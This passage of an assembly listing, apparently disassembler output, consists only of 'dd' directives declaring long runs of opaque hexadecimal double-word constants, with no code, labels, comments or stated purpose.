		dd 87E588F7h, 0B86C2E54h, 8118000h, 0A72FBE09h,	2EE9E8F6h
		dd 0A47BBC9Dh, 6EC50939h, 14B7A8Eh, 1938FAA7h, 0E59DAE46h
		dd 0B8D0273Eh, 0E9DCAD2Ah, 1287F607h, 7DB21B60h, 924F53B4h
		dd 0D3D0ED52h, 1406BE13h, 31E7FFAh, 41A319E0h, 30D8E281h
		dd 83B12A27h, 746A09A7h, 0B0F25A09h, 0FFBFFA09h, 2FFDE0CEh
		dd 30F082EFh, 2180EB07h, 0A1D30C8Fh, 921A489Dh,	708AE73Ch
		dd 20C43BB6h, 47D507ACh, 0F55FFB29h, 7D4FADC3h,	0D5C6A47Fh
		dd 4E445C5h, 5DEA89EFh,	0F462C721h, 516CF0F5h, 0FE93B101h
		dd 9FF180C1h, 0DE8EF5C2h, 2745074Bh, 8688A5BEh,	496454A2h
		dd 0A1D6B0FDh, 2F613AEAh, 312F5BD8h, 8048E93Dh,	4EEA68F1h
		dd 0C15917C1h, 0B2308C66h, 9F1D83Ch, 493D2E1Fh,	0E74AAE30h
		dd 5F5127D7h, 73F635FAh, 658C8B9Fh, 981BADA5h, 0E953E698h
		dd 1C496D30h, 7E0D2DBFh, 9D9EAB67h, 0B407DECh, 29B27E9h
		dd 80C1A192h, 0DA892E45h, 0B5F63E20h, 4ACAF81h,	0AF8B4431h
		dd 7DF29112h, 4A50B980h, 87BE1DF8h, 7D2E10Eh, 0C96026E2h
		dd 614F4D5Bh, 16C1F245h, 0CBFB609Fh, 30B74054h,	6858936Bh
		dd 97E7225Ch, 9D27EAC4h, 150FD158h, 6975DAABh, 22333715h
		dd 35C4BED9h, 298E200Ch, 57E3F15Fh, 0A5AD681Eh,	0E98B9279h
		dd 95905039h, 0A52098C0h, 16F7E5C0h, 90154D61h,	9D135F7Ah
		dd 2F5BED6Fh, 0CA137084h, 0D94F4F8Bh, 98C30428h, 574EE939h
		dd 613181C4h, 2D381407h, 5B251CC6h, 6D1EC176h, 0EFDF421Eh
		dd 7D74A120h, 0BC16C029h, 0C58AA869h, 0F4A31808h, 242C042Ch
		dd 0E42808A9h, 4F251A28h, 87695B97h, 8076C105h,	175FE949h
		dd 0E4E647CEh, 18E6FA6Ch, 0BD3A8012h, 0D1899E91h, 0D667462Ch
		dd 0D23EE958h, 3A1E3500h, 51F0012Bh, 50720705h,	1C2609D3h
		dd 10E41CF6h, 610E0C88h, 0E2D19692h, 0F8593042h, 55724617h
		dd 9D28BC00h, 42319070h, 71E0D2D5h, 0B4195556h,	2D462BE0h
		dd 3A8C798Dh, 0EA0BEE8Ah, 4D1070h, 0FE0AFDDEh, 0D6293405h
		dd 1C081A1Ch, 0D15A1401h, 901E82E6h, 0F0A3E2DFh, 0A5F30096h
		dd 51386203h, 1139D68h,	8DB2425Bh, 0E058E984h, 0ACB001FCh
		dd 0ACCCEB95h, 0AFD624BAh, 0D712E052h, 2E64EBBDh, 0C52FA25Ah
		dd 0EBB217F7h, 2FD07A77h, 0CCC8A3FEh, 2CE02F41h, 0E5C14509h
		dd 230E0704h, 0EFDF5CBBh, 0AB2E1365h, 25E9616Ch, 18681A1Eh
		dd 0A3E8D6CFh, 1F0614Ch, 36E368Fh, 43AC8E9h, 0C56904BAh
		dd 5AF2A8F5h, 277F2E01h, 0AE740E96h, 0B1DEE28h,	0D6F75E08h
		dd 0B6825D70h, 823CEFF1h, 93189444h, 0CD13FC21h, 88B60180h
		dd 73E8603Fh, 16C5183Bh, 0E539F889h, 0A80590C5h, 0D36682ABh
		dd 0DA34492Ch, 15A1F96h, 206D7C62h, 0C40CAD78h,	0C88631BEh
		dd 81EF0125h, 0B706074h, 217A5D6Ch, 1C2E15Eh, 3F510559h
		dd 5E74082Bh, 0DA3D2499h, 41CE0238h, 0A080DF48h, 39FA8C6h
		dd 6A29EF2Eh, 69B1D1A5h, 66AE3D00h, 80C04FD4h, 20731B6Fh
		dd 0FBBE0556h, 0C050133Fh, 7274C011h, 0C6E97F12h, 0EC5809B0h
		dd 9E779ADEh, 0ACE9F092h, 0A280144Ch, 25C4D205h, 430301E9h
		dd 9E4AF229h, 0F35E42A4h, 0E90B802Dh, 19D9AF4Ah, 0F3C6DA2Dh
		dd 2113ED22h, 54F2090h,	50168820h, 6D7DBF7h, 893A150Dh
		dd 591A2682h, 952C4A7Ch, 0F03C44D2h, 0F0908F4Ah, 53BA1309h
		dd 495AD54Ch, 3588B22h,	27B7969Dh, 0DFEEB2EEh, 0EA5DB19Fh
		dd 5145290h, 8FB6E9C3h,	0F24CC9CAh, 65546882h, 1F7B2DFh
		dd 3A0AB2DDh, 6355C600h, 3248AD26h, 522ECE84h, 850EF8C5h
		dd 7604E61Dh, 0B00D000Ch, 0F201C3EAh, 8FBE2AE9h, 10326613h
		dd 12621102h, 5E31555Bh, 0FDADBA60h, 0C15F0BC3h, 391C10E3h
		dd 0E1F14BA6h, 0F8FFCD3Ah, 0E5BD0E93h, 0DF2F3E6Dh, 79EF6468h
		dd 0AE19923Ch, 4C2DAA31h, 498720F1h, 56CBE0C0h,	97F70317h
		dd 8425DA80h, 0AA9ABCE0h
		dd 9FCF2929h, 799D7A2Dh, 0B8CC8336h, 2CE4106Ah,	48DD680Bh
		dd 46EF931Bh, 435CD7B4h, 4E40167Ch, 0B82CC37h, 3C37F911h
		dd 0BE59AA24h, 658ED39Ah, 137B0140h, 3906BE2Ch,	9424F301h
		dd 842B013Dh, 0E9080482h, 5AFC9277h, 3AAD7799h,	62BF950Fh
		dd 8012D147h, 7BE65B90h, 0B2C09FC0h, 782D0AFEh,	5D856963h
		dd 6B104977h, 0E5D10025h, 301BF581h, 0DB68583Ah, 0C258E449h
		dd 0A01EB73Eh, 0C399CAEDh, 26C187C5h, 0FF5AC41Ah, 54806F1Fh
		dd 895180D2h, 891A9ECEh, 50762766h, 4F5A116Bh, 3748456h
		dd 6A55F2C1h, 97E9E821h, 78CC3BC7h, 0A6EF5A48h,	5292481Eh
		dd 4B7758B7h, 4FB3F6B4h, 1007A334h, 5825B537h, 0C6C05368h
		dd 82E377CBh, 403A418Eh, 283094CCh, 45EDE4D0h, 6F57D59Eh
		dd 4EB69D21h, 48C6D07Ch, 9962894h, 0E9ACA3CBh, 20E14010h
		dd 65A05A9Bh, 468591F6h, 8306F44h, 0BC9B71E9h, 0E8416442h
		dd 0A4AD4872h, 831E10AEh, 0BA66F84h, 0E975F45Ch, 8850915Eh
		dd 83C89DD7h, 0CFE6BDEFh, 52665500h, 0B614B753h, 0FE301C24h
		dd 7F7DF5Bh, 7BF8885Ah,	0C02DC15Eh, 9B1C8B9Ch, 0BD688507h
		dd 0B766404Fh, 2C350456h, 0DAC91D74h, 74BBE2A8h, 355E292h
		dd 1CBB5805h, 0E2E31347h, 0D7261322h, 12F55B3h,	1CD89696h
		dd 4138E995h, 0AB1C3E43h, 704A40C3h, 4C0C0502h,	7657801h
		dd 0B4959CA5h, 35CFB05Bh, 0FF94213h, 580D28FCh,	0DB2E7B07h
		dd 883EDC2h, 0A4BC08E9h, 3E028DF8h, 0FB898C9Eh,	0A0FB895Fh
		dd 50B25284h, 2CE27AD0h, 6B8E0D82h, 851D160Ah, 82B5C380h
		dd 0A0A23257h, 60462ED8h, 7A7EE090h, 540A3D25h,	38290F3Bh
		dd 34BB0813h, 0F90171A6h, 4372AE2Fh, 0F72A61C6h, 0D801118Ah
		dd 65E513AEh, 672DFEE0h, 30E966DAh, 0E1850CD7h,	0A80FBA52h
		dd 0A60EC76Bh, 0F0F9AB9Fh, 34451376h, 10380153h, 9F28F778h
		dd 4A896A18h, 31657C1h,	334FCA02h, 0D8EAE961h, 0C15E3B54h
		dd 0EE2CC50h, 5877249Eh, 60BFF2C0h, 92674F3h, 0C1C257D6h
		dd 739950E6h, 39F40B85h, 0FE5F029h, 0C2AD0516h,	30696809h
		dd 0A69774D1h, 70387F0Bh, 33E92750h, 1AC2585h, 0EA80F7DAh
		dd 24B7AEFh, 122158A3h,	39A5A2E9h, 41DA36C3h, 48076287h
		dd 0ECE91252h, 326EC3E1h, 0A7FD5C2Eh, 0B1896A6h, 62D4C183h
		dd 0BE803CFh, 0BFE9E131h, 525A34h, 0EE8042B6h, 0FED6F601h
		dd 8504BCF9h, 14E9E0E6h, 605866F0h, 4B59650h, 9CFA722Dh
		dd 0F8E41C4Ah, 4EE7F05Dh, 0CA72618Bh, 0EBE40745h, 1BE80E0h
		dd 42620EB3h, 405EF289h, 4C2433CCh, 0E9197C7Ah,	6A333986h
		dd 0EBC14F85h, 80F39403h, 0E67737AAh, 0F3E91D08h, 3B881DE5h
		dd 0E49BCF92h, 0C3E18F7Bh, 0D6DC6682h, 2F8FE6Bh, 1D6B208Dh
		dd 5B7B783h, 0EF0758F6h, 4BDC4053h, 4D74CFC0h, 5509485Bh
		dd 2E6C6A07h, 8ED87963h, 4476E704h, 0D5837D21h,	890D2472h
		dd 2FE904F6h, 0A30EFEDh, 58BD78D1h, 370B7742h, 2E880753h
		dd 92500796h, 95F55575h, 4012A64Ch, 0ECBFEB8Dh,	44314DD1h
		dd 0E2B7910h, 7EF08950h, 47BA1152h, 77EDEA0Fh, 0CAC09E2Ah
		dd 15F3260Fh, 3B660095h, 59E9B964h, 9B4E4612h, 7CE9165Eh
		dd 3FE29057h, 9736C8D7h, 2E5D8A40h, 0CFD7CD89h,	2D0BF817h
		dd 0F63F68FBh, 54C7E0DAh, 5831FE33h, 0D72588FAh, 0A852C122h
		dd 1250AF0Bh, 0D5F7C381h, 0C3D367Bh, 65BEF995h,	0A21BB892h
		dd 616F5655h, 2E2465E9h, 0A1FEC5CCh, 143166h, 807C48D6h
		dd 0F6010552h, 29532771h, 7402DC8h, 4F94E959h, 0FA8BB4F3h
		dd 0E53DA160h, 69F65D3Eh, 76D4B67Ah, 57067700h,	4B23E90Ch
		dd 2C8BB2D3h, 1791EB56h, 0BEDD2918h, 0FB12C6F5h, 0F817498Ah
		dd 0E45E33B3h, 80B097BEh, 0FAB60D6Bh, 34C69FB4h, 225F1FA2h
		dd 5DC5E92Eh, 16FD47C2h, 605B5B49h, 0E8E9D3C0h,	0C0009894h
		dd 0F48008ECh, 3706CE27h, 15D052DEh, 0AC4A0FFEh, 8CC72636h
		dd 0BE5AE203h, 783EFA1Bh, 0C16815C4h, 0F210BC3Fh, 14532E44h
		dd 0C0E6253Ch, 90CE0122h, 26541250h, 0CD95072Eh, 78916218h
		dd 5C408580h, 97B00BB1h, 0DC62D601h, 9CDDE91Eh,	50806223h
		dd 220F6BB8h, 17800E4Fh, 3A131A2Dh, 628452D3h, 85BE34A2h
		dd 0E25DBFC1h, 0E9E5CA5Dh, 0ED14B0FAh, 1E87E4ECh, 0F44603F1h
		dd 9C24093Bh, 93DDB5C2h, 2DAAD18Bh, 7838FC05h, 2300D84Bh
		dd 0AB2A78BDh, 0E5C1184Eh, 483CDA02h, 0F83B372Dh, 0F181474h
		dd 2B17A586h, 0E3FBC907h, 241DFC85h, 73429A54h,	4A14558Fh
		dd 0BD7562Bh, 0F7EB3198h, 7D95A0D1h, 2778DF60h,	0F0693FD9h
		dd 1AC3FC40h, 172C6853h, 0FFD187CAh, 20E9406Ch,	0F70108A6h
		dd 822005D8h, 452A217Dh, 0B8FC0984h, 2139EB2h, 5CD128F0h
		dd 7A023BE0h, 90B1672h,	64C633E1h, 0DF5A8731h, 9DE0F0E0h
		dd 6BC16F14h, 7FF353FEh, 2C360BF7h, 35FC4C69h, 0E69D08A0h
		dd 1D19BDECh, 0A4F32A66h, 2F4F810h, 68FA015Eh, 57AEF73Fh
		dd 0F1380D2h, 9A5BBD84h, 8B18FB34h, 5BBBE961h, 85322730h
		dd 0C9AF081h, 392C9F07h, 0D6D7C0FEh, 0C720B0F0h, 13455FE9h
		dd 82F7B711h, 0E054EE9h, 0F2D231C4h, 89CB9601h,	28290840h
		dd 0D62659CBh, 8901E9B2h, 5C115D68h, 1A6749Bh, 585EF713h
		dd 4F87B8D8h, 78AFE2CCh, 0CBDE7629h, 0FA0E8449h, 6819AC14h
		dd 0F4D951DCh, 0E697CE05h, 4ABAFE25h, 82B92765h, 68B05FA6h
		dd 16BC72E9h, 82F0210Bh, 4308E8F3h, 4E54EB53h, 62758BB1h
		dd 912FA5h, 3E4FB951h, 0F12E0324h, 0DCD3570Fh, 560D0A5h
		dd 0E92B3734h, 0D4B6F1B1h, 14968726h, 171EAF4Fh, 66C9F1EDh
		dd 0B70F9301h, 0E14070C0h, 0AB602641h, 3C29D10h, 0E49FB4C1h
		dd 6C334F6h, 7FF028E0h,	3026979Fh, 49902853h, 0E8B51DEAh
		dd 2776C0F3h, 65E27099h, 681292F8h, 56BC154Dh, 1E4C8AC1h
		dd 88037018h, 55C106A0h, 3F864A1Ah, 0E7D4238h, 35F9AF08h
		dd 0A3AC4A6Eh, 0AA6A310h, 30300D68h, 5452578Eh,	0B5BBB0B0h
		dd 4F370779h, 830F9DBFh, 0F0D2E96Fh, 0EE88C896h, 0D9955940h
		dd 0C85D6237h, 59D9145Fh, 2931CBA1h, 715731FCh,	0D20ECE03h
		dd 0ADE93DD1h, 2C62126Bh, 112A6850h, 2AAE6541h,	4B94E120h
		dd 2D6DF45Dh, 0DDD864Fh, 838C283Eh, 65263BEDh, 0ED6CB5B5h
		dd 4534EC9Fh, 0E294302h, 5AD30D04h, 1EB8C328h, 342D5B1h
		dd 0CD18055Bh, 90070945h, 549F1EFEh, 503FEAB6h,	4437E908h
		dd 8CD0713Ah, 4F28B773h, 1695C401h, 12C8CB08h, 14E2A7C5h
		dd 0DFA45478h, 5A739758h, 0FBC8F08h, 80C1E188h,	6130CFF1h
		dd 3AC3D813h, 0E35EEBF2h, 0E9D4C5F5h, 0D500950Eh, 959CF31h
		dd 685FFE0Fh, 9FC912FCh, 13F4FF30h, 0F16F3A42h,	812987F6h
		dd 7FA7FFF6h, 0FAF92BC9h, 0BFB875E1h, 0E54FAC64h, 0F4491EE7h
		dd 38553993h, 0EC444B8Ah, 290540EFh, 0F61780CEh, 20F54350h
		dd 91A80F3Eh, 0FEB68523h, 670B0382h, 0FC4D5833h, 125A96F3h
		dd 0E46DF15Dh, 0B8BACF7Dh, 6C3D677Eh, 0FABD2752h, 9F78FE9Ch
		dd 661C5FECh, 590CDF30h, 0F8026256h, 0A7355C23h, 38827F00h
		dd 0FDE9DE29h, 0F5E2E4Eh, 33E18FC4h, 0D2871CBAh, 0EB3F70D0h
		dd 7027808h, 68C32937h,	9299DE15h, 0EA378403h, 0CED2661Ch
		dd 0F0FEDC8Ch, 0FCC63E80h, 11E9F085h, 0C89F4935h, 6CB35080h
		dd 0D3E4DBF6h, 8C3FE33h, 0E96E16C0h, 0EF04207Bh, 64E86CA8h
		dd 38283B7h, 2C1B138Bh,	2CFCBD24h, 0D610B75Dh, 0EA875A0Dh
		dd 32FDFFEh, 32997801h
		dd 0EA3DCB76h, 15640E8Fh, 5744FFB2h, 0AD010284h, 88207F83h
		dd 0B339E6h, 6B7A4AB9h,	0CF5C294Dh, 9CBA208Dh, 0B0974FF9h
		dd 9905890h, 0BC90F6A4h, 323DB704h, 0A4C0411Ah,	9CDC24Ch
		dd 59CE01E5h, 2FD00BAh,	5594E9B3h, 0CD1F0845h, 2ECD6417h
		dd 76C56Eh, 710A98CBh, 0D85BE9DFh, 0FFBFEE00h, 4B627C13h
		dd 0D2B5A209h, 0E61076E9h, 28184C39h, 151D98Ch,	287AF5D0h
		dd 0A85A48F7h, 0C0BF4EE9h, 0E8296699h, 8F575D3Ah, 34083568h
		dd 0B58D17ACh, 74C527D0h, 726B4839h, 803C541h, 4B94E4E9h
		dd 8A8661BFh, 33680683h, 0AD231BD6h, 478B621Dh,	0FBD37A6h
		dd 0C34CC4BEh, 0E1611B05h, 2DFDF001h, 2FA20FACh, 14711038h
		dd 7B756882h, 0A0105AB8h, 0F20BCAB4h, 4447D87Ah, 72B20C02h
		dd 12E0FB3h, 9E05DE17h,	955975B0h, 0F2930CD1h, 14E56F5Eh
		dd 61DCBCFDh, 6EDA51E9h, 0F640DB97h, 0A0E6C0D6h, 0D2ADD2CBh
		dd 7455271Ah, 8321BCFCh, 160C7B68h, 67F4B8C5h, 9B76C933h
		dd 0F8F6E0DAh, 564780F3h, 4B08BE02h, 0E331E580h, 0B0DE3AD2h
		dd 0D254233Fh, 4008A2C2h, 91FF2A6h, 89B38FCEh, 30E91690h
		dd 0E0B5AFB2h, 7C0BC58Ch, 0C606054h, 4FA43553h,	4C893E96h
		dd 4BFF1BDh, 0EE594268h, 4117B931h, 8413246Fh, 837172CDh
		dd 20945509h, 4C25C6B5h, 7B00705Ch, 6844103Dh, 0EF25C285h
		dd 0E65EBBh, 76E302CDh,	3A98E9C1h, 89B9AC54h, 3F1F5B9Dh
		dd 8EAFh, 7444EFBDh, 0F581610Ch, 4BE90DEDh, 806A023Ah
		dd 5EC1BEF3h, 6A1FED8Fh, 62E7BF40h, 0EC3C6B42h,	10ABC5F7h
		dd 814E8401h, 35371EE9h, 18492FFCh, 16504279h, 89D3B4E7h
		dd 9AD540D4h, 2E18DFF5h, 7BC0108Fh, 86139FC2h, 20B79111h
		dd 460CC108h, 312FAD6Fh, 0DC71C296h, 40D35F9Ah,	3502E1C0h
		dd 0F7B065BEh, 0E7B1168h, 2AF8C505h, 0ED2DC083h, 0FE7ED666h
		dd 0ADE98938h, 565C012h, 736D005Ch, 68C8011Dh, 309658CEh
		dd 1720646Fh, 4BF4DC5h,	29C2CF2h, 5E2DCA68h, 66C662FBh
		dd 7BAFFDE5h, 0F2200Eh,	676E44AAh, 1918E941h, 0CA9E3A8h
		dd 4DD920h, 39146A56h, 67E9EDD1h, 47590995h, 9FE9899Dh
		dd 0CF885960h, 2CB0FCE4h, 0D1B54F25h, 27FC2CDDh, 376820C0h
		dd 0AD302F4Ah, 48C23FEBh, 1479A36Ah, 0C57B1054h, 0D26BFB01h
		dd 0CCB85011h, 0E00983Fh, 3540D0F7h, 781A2146h,	0D84B67h
		dd 68302D55h, 11FE3AAh,	9658E9C5h, 14C1EAB7h, 0E4A47021h
		dd 58B2D158h, 0C80F14D5h, 680E9FF6h, 0EA71602h,	47016248h
		dd 12F1917h, 44E9E1F9h,	0E5142408h, 7E65FD6Ah, 2DB29A04h
		dd 0BBD4B2C4h, 0A14B3FF3h, 0CEB22F80h, 3CC2800Eh, 0B4FDE267h
		dd 4BFAA862h, 3FBD0295h, 5984BBA2h, 7975AF01h, 0A86465AFh
		dd 0E80A4D6h, 7C791FF9h, 41E53A2Fh, 74A5892h, 64193D60h
		dd 8234FC0Ah, 6852D587h, 0C2D6F749h, 1AE95A0Bh,	0A571E26Ah
		dd 5EBCBD0Bh, 0FA685043h, 0E9134192h, 55E335A5h, 40801817h
		dd 0F3763626h, 0C65A310Ch, 0ADA1F884h, 7E93CA6Eh, 13BCDE26h
		dd 1D2F678h, 0EA80C2FEh, 38DBE9A3h, 70B80224h, 0E274687Eh
		dd 40D571E6h, 0BF57FB01h, 0DD0C440Bh, 6843E25Fh, 0A059413h
		dd 98E96038h, 59C5ADF0h, 0E2305625h, 5F097FACh,	0E11FA390h
		dd 32B712C1h, 1D61FE88h, 8195C83Eh, 6C64B241h, 0E3CFB84Fh
		dd 61681F84h, 7F18D824h, 78376E02h, 54387CE9h, 0D0B871BAh
		dd 4606B456h, 3D79F3BDh, 0A2532556h, 0C4247F66h, 2041443Bh
		dd 0ED41D430h, 0BB04D84Ch, 5C551D1h, 907CF0F0h,	77400C12h
		dd 2C0C1588h, 9F947617h, 94C168B0h, 0BD9B0863h,	4B6CE281h
		dd 802F204Ch, 5FA33B1Ch, 790AF0CCh, 969048F7h, 6497B520h
		dd 5E5BA2A5h, 3CE95087h, 0C4B224F3h, 0A6406CEEh, 5E4A0BBFh
		dd 3B003515h, 34E1656Bh, 0DFF74718h, 0CEBEA2F8h, 4EAEF61h
		dd 0FBBF81AEh, 6A622D65h, 968C228h, 399E54D3h, 0BDB3CC08h
		dd 89326676h, 9BB03114h, 23A6CA1h, 1CC65D5Ch, 7B319D80h
		dd 0E95D1209h, 9573F861h, 57C05E43h, 6F983CFDh,	51A10D04h
		dd 74C74402h, 2606064Ch, 0E3B005h, 0C378BA4Ch, 116B731h
		dd 8CEC58C2h, 0F702D059h, 0C0E951DAh, 0F0668CA4h, 7E416B43h
		dd 4367D300h, 9B564D7Fh, 0BA275924h, 0D4735225h, 9802D002h
		dd 2CD5E1Ah, 0A914E0CEh, 6BE68560h, 3351201Fh, 965C607h
		dd 0E2E9EB11h, 0B9A4002Ah, 52556191h, 0E8C82928h, 9DE9641h
		dd 23D45A40h, 5965D21Eh, 401EC902h, 0F1C8C0E1h,	0FFD3023Bh
		dd 2992E9D1h, 1D9A0D00h, 351C0327h, 9FA77D99h, 8F5826FAh
		dd 7B8B5A4Eh, 9168247Ah, 4016172Fh, 67C68069h, 476EEC0h
		dd 0D0F4CE1Dh, 787EF8BDh, 0D033F627h, 1D542C1Fh, 0AC0272ABh
		dd 6801BCB0h, 1354035Eh, 287099BAh, 70E91380h, 2CEA5B54h
		dd 65AE87C9h, 0C285D888h, 0EB790E6Ch, 0BA03E096h, 5815803h
		dd 0E94B0D51h, 14301F6Dh, 0E920C6Ch, 5FF38594h,	862FD471h
		dd 44C72919h, 6B4029EDh, 0E94CA20Ch, 962BD8A7h,	0FDF7082Ch
		dd 5F9BBD00h, 2529856Eh, 0CB7A5DEFh, 0D43160E4h, 8C996C59h
		dd 161D8F3Ah, 747983Dh,	0C182505Bh, 0EA696995h,	0C084807Ah
		dd 3A58205Ah, 75E20235h, 8F4E2957h, 594922A4h, 56445533h
		dd 0DF78F7B0h, 598EC725h, 2ED96BE2h, 4ED583A5h,	0BF80FC63h
		dd 48C639EAh, 4624634Bh, 120D035Eh, 0E010E09h, 523589F6h
		dd 626F293Ch, 75F40125h, 5B378F03h, 2C0C4138h, 0F88D652Eh
		dd 0A280B1EDh, 0B9137F17h, 0F8E09669h, 0ECE59759h, 0C5C72DBBh
		dd 73E98603h, 0EE072309h, 70F3B34Dh, 56DF29B2h,	9AD68CD3h
		dd 5259500Dh, 0E1F0142Bh, 81A61310h, 10DCADACh,	0E4A25E08h
		dd 0D252EAC8h, 8DCC20D8h, 4AFC5D4Ah, 0A0FF10A4h, 525ADF98h
		dd 4FA3E934h, 0B9D29CEDh, 805AD79Fh, 6C895F25h,	0C4621C5Dh
		dd 0D2FBE96Bh, 4DC00174h, 62797EDh, 0AFE97E85h,	16973DD0h
		dd 13C599A1h, 1048F266h, 6A757BD9h, 133C0BD4h, 0D41BA1F7h
		dd 94975BDAh, 3F681263h, 59DCCC16h, 72312E40h, 8C564E8h
		dd 9771B051h, 8E9B1ABDh, 907497FEh, 404BB7A4h, 68025539h
		dd 35214841h, 0E69CAF5Dh, 44ADBB12h, 0B305BF7Eh, 3105D473h
		dd 63E7FD09h, 5922C05Eh, 0B04A7A67h, 0B7C4921Ch, 4777F662h
		dd 0C8E98462h, 0BD49EB9Fh, 0BA6DD8CFh, 117A2D94h, 5911D86Ch
		dd 363514D3h, 0F7655691h, 0B1885FB1h, 0A00B4A2Ch, 0E76419F9h
		dd 0B5218CDh, 0B040A619h, 0D298DEF6h, 0A51E2E5Ah, 0F7286C04h
		dd 0BEDAFC2h, 692D3E56h, 4C265B6Bh, 0C0B15182h,	0A14B13DDh
		dd 592CD8BBh, 1B22A2C6h, 0E47AD32Dh, 0CAED821Eh, 0ED668F50h
		dd 8F02DBDEh, 3C0BD53Fh, 1256A35Eh, 0F2B0D8E9h,	0D6B12568h
		dd 997E1468h, 4D86AFA7h, 309CE197h, 8EB8A42h, 93923BBAh
		dd 8514A2BDh, 0E4B8A669h, 396851C1h, 39E63B3Ch,	0BD782C96h
		dd 3B3998B5h, 0EB13044h, 1B2D32A2h, 0EF038898h,	2AA93C78h
		dd 1CAFB4D1h, 9C2D721h,	8D558B51h, 9528E08Ah, 7A542905h
		dd 9AFDC05Dh, 2BF3E70Ch, 812EE4E1h, 0EE79B389h,	248AB085h
		dd 926EE25Fh, 0C1426609h, 53DCAC85h, 80DB02B3h,	0DD8826C3h
		dd 2C1983C1h, 478BDE8Fh, 1F848562h, 2EB129D1h, 611866Bh
		dd 0CB28B31Bh, 605EAE42h, 50552746h, 3A0BDF68h,	0DE586225h
		dd 7E63006Dh, 0C5894D99h, 31072EF5h, 1FE04B2Ch,	0D2BC49E9h
		dd 0E2B8AC0h, 7253565Eh, 0D3EEB791h, 27B1F054h,	811F953Fh
		dd 289965Ah, 0B55D4C0h
		dd 43F2EDD1h, 0A47EA49h, 0FA33C868h, 1017F88Bh,	14700C7Fh
		dd 868901CCh, 1257A34h,	914F60BCh, 0B1006B44h, 296A2ACBh
		dd 0F4E3EC02h, 66B3041Eh, 0E4EB41E9h, 7838DCFFh, 4798DA10h
		dd 1E70BE28h, 58A17150h, 7817632Ch, 910FBA30h, 73720DF2h
		dd 1E31B0C4h, 0EDDC20C9h, 0BA52D090h, 581F2618h, 0C222EA88h
		dd 5AD6290Dh, 68B5AEDAh, 24B0B934h, 132707Eh, 2C980ECFh
		dd 60D16A31h, 122B91E9h, 0BB198427h, 7D75418Fh,	0EAE5C07Dh
		dd 54AA62CCh, 0F310295Ah, 78F74F08h, 7D78C910h,	9B9755F4h
		dd 0DE5DB2F3h, 0A17240Ah, 9DECC619h, 2627FCE8h,	524E9E66h
		dd 98379121h, 60D1C97Fh, 0DF410FAAh, 16C28460h,	0ECEFD4B1h
		dd 76CC6BCBh, 58019846h, 69C9CCADh, 4F41E6F8h, 0D8083253h
		dd 0B050CA62h, 0B9895926h, 33BE6C0Ah, 3A235602h, 98467542h
		dd 508E0469h, 0BCB1B505h, 2E0C6528h, 8E766B8Bh,	0ABC6817h
		dd 211316B3h, 6F3E32Eh,	10160841h, 153800B2h, 9BE3402h
		dd 55691468h, 0A6E1D654h, 3DD81079h, 0B0AEC888h, 7C28FC2Ch
		dd 98E9E8F0h, 0C397C053h, 7CAD1FD6h, 30E25E4Bh,	80BE982h
		dd 276218D6h, 317BEC05h, 0CB7E8864h, 4F5E0177h,	0CFE87331h
		dd 5A09FC3Bh, 0E91360F9h, 0DD0EE695h, 0E6CB011Eh, 3AA452h
		dd 5FF78058h, 0FC885066h, 75D4F63Fh, 5AF8E677h,	0B4FA58F8h
		dd 0C7808A12h, 0AEE7F10Eh, 1821B3EFh, 9E05932Dh, 3BE90BD7h
		dd 4F13C6FEh, 0A5A8BD2Ch, 0A20B8409h, 232A2026h, 407A88CBh
		dd 15C523F2h, 358AE283h, 4E978A4Bh, 0B9B275B8h,	0A8081055h
		dd 6FEC9CD9h, 0B2C5B725h, 20410B35h, 0A5B58F0Ah, 43AC3584h
		dd 9EF75B89h, 0D5CF3283h, 4662AC42h, 0DFFAD602h, 1815603h
		dd 534CF53Ch, 4535580Ch, 12E48B06h, 38EEC329h, 0C3821C00h
		dd 0BD5625FEh, 0F0A9657Ah, 832CEDh, 6856585Dh, 57E237DBh
		dd 500314Bh, 64214FCCh,	2D50F001h, 312DE907h, 3253AB1h
		dd 4EB94C8Fh, 0C1DAFD18h, 0F77B76BAh, 0E6CBFACAh, 0FDDE24D9h
		dd 289C243Bh, 94501A9h,	0F5E9484Ah, 0AE343AB4h,	53895FAAh
		dd 7D5EF15Dh, 0F680F26Dh, 0EDB916E2h, 0CE3117EEh, 12FD9408h
		dd 0B5E8E85Eh, 1A3CEBCh, 762245FCh, 0A19A32E2h,	6CA641C8h
		dd 0DCB0155Fh, 907A04D2h, 0BBDDF769h, 0F1CFA4D0h, 42F56284h
		dd 8E8B08CDh, 8A0967Eh,	0A220C890h, 19B23BD9h, 91624AA7h
		dd 0FC14E6C1h, 3EB410E1h, 5152EF80h, 7EB6FDB5h,	9F9231F8h
		dd 0E14AC32Dh, 4A0D3CFEh, 0A9B499ECh, 58A4E40Fh, 0F7E46035h
		dd 856638F1h, 0EE4FAA76h, 128B9B9h, 0A83A27ABh,	5F77428h
		dd 0C18C766Fh, 2C46B2Fh, 1D86C059h, 14AE1F57h, 0A6D04C41h
		dd 0EF09EA5Bh, 80676424h, 0C3944513h, 0D32906B7h, 27902FE9h
		dd 0BFAF338h, 0A04B4D26h, 1230C308h, 29861272h,	8315E0D8h
		dd 57E6CA82h, 0DC73EBA2h, 5A6EE609h, 25F1CB01h,	0C9655687h
		dd 5830696Ch, 5AD4884h,	0A63B188Bh, 0BF577A4Ah,	6F032D0Bh
		dd 7B3F004Bh, 0F45AA855h, 4F71E21Dh, 140EC5Bh, 0E909083Fh
		dd 0A78BF06Dh, 0B75659CEh, 0D6900EC2h, 0F0C46B20h, 315CC172h
		dd 0BE7C24BBh, 39CAC89Dh, 0EB93F982h, 54C37E09h, 0D00969E2h
		dd 54F6E123h, 0DB6001C2h, 1B4DDBE9h, 434617A3h,	5ACC27A8h
		dd 3F4AE911h, 57580C07h, 2F799F73h, 92E05A0Eh, 56822736h
		dd 148A2A7Ch, 0B30C8C2Ah, 0AB507F00h, 0E9F3297Eh, 0A5809030h
		dd 0C70454F7h, 4A2CF8D6h, 329409DAh, 3A9ADC48h,	0D07A062Fh
		dd 0C1401EEAh, 690500E0h, 500EE49Eh, 0B2EFBCC9h, 43C75532h
		dd 57D392A5h, 30414A2Ah, 0E90845DEh, 0D1172127h, 1EDC8C5Dh
		dd 0A14059FBh, 0FE5A1CB3h, 0FEC396CBh, 8228660Bh, 2E14AF4Fh
		dd 0B9787FC4h, 0D8AFB4B6h, 69F5FDC5h, 33021041h, 0F2BE77Bh
		dd 0B3E2B194h, 0C4C0303Fh, 8180ABE0h, 6F780CC5h, 77C4CFDh
		dd 881600BBh, 693F7BE1h, 0DF249056h, 51D4BA00h,	75B825A4h
